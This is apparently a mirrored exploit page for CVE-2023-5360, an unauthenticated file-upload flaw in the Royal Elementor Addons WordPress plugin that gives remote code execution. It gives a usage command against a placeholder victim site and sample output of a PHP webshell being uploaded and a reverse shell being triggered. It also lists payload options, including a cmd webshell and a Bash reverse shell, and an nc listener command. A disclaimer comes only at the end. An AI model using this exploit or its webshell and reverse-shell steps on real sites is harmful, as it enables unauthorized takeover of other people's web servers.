Exploit for Unrestricted Upload of File with Dangerous Type in Royal-Elementor-Addons Royal Elementor Addons

## https://sploitus.com/exploit?id=0E6C0D6B-EF62-5BA1-9C20-8547390CE5C6
# CVE-2023-5360 Elementor File Upload Exploit

The Royal Elementor Addons and Templates WordPress plugin before 1.3.79 does not properly validate uploaded files, which could allow unauthenticated users to upload arbitrary files, such as PHP and achieve RCE.

```
   _______    ________     
  / ____/ |  / / ____/     
 / /    | | / / __/______  
/ /___  | |/ /__/_____/  
\____/  |___/_____/_____   
  |__ \ / __ \__ \|__  /   
  __/ // / / /_/ / /_ 
```

Example:

```bash
python3 CVE-2023-5360.py https://victim.site/


      _______    ________     
     / ____/ |  / / ____/     
    / /    | | / / __/______  
   / /___  | |/ /__/_____/  
   \____/  |___/_____/_____   
       |__ \ / __ \__ \|__  /   
       __/ // / / /_/ / /_ ] POST https://victim.site/wp-admin/admin-ajax.php
listening on [any] 31337 ...
[+] HTTP 200 from upload handler
[+] Shell uploaded: https://victim.site/wp-content/uploads/wpr-addons/forms/shell-6253.php
[*] Triggering reverse shell. Have your listener ready!
[+] Trigger sent (timeout is normal for reverse shell).
[+] Arrr! Cannons fired. Check your listener! 🏴‍☠️💣
```

Payload options:
1. Simple command webshell (`?cmd=id`  as in: https://victim.site/wp-content/uploads/wpr-addons/forms/shell.php?cmd=id)
2. Reverse shell (Bash)

## Dependencies

- Python 3.x
- `requests` module

Install dependencies:

```bash
pip install requests
```

## Example listener

```bash
nc -lvnp 1337
```

## Disclaimer

This exploit is for educational and authorized security testing only.
You are responsible for how you use it.
Test only on systems you own or have permission to test.

## Credits

**Author:** X3RX3S
CVE-2023-5360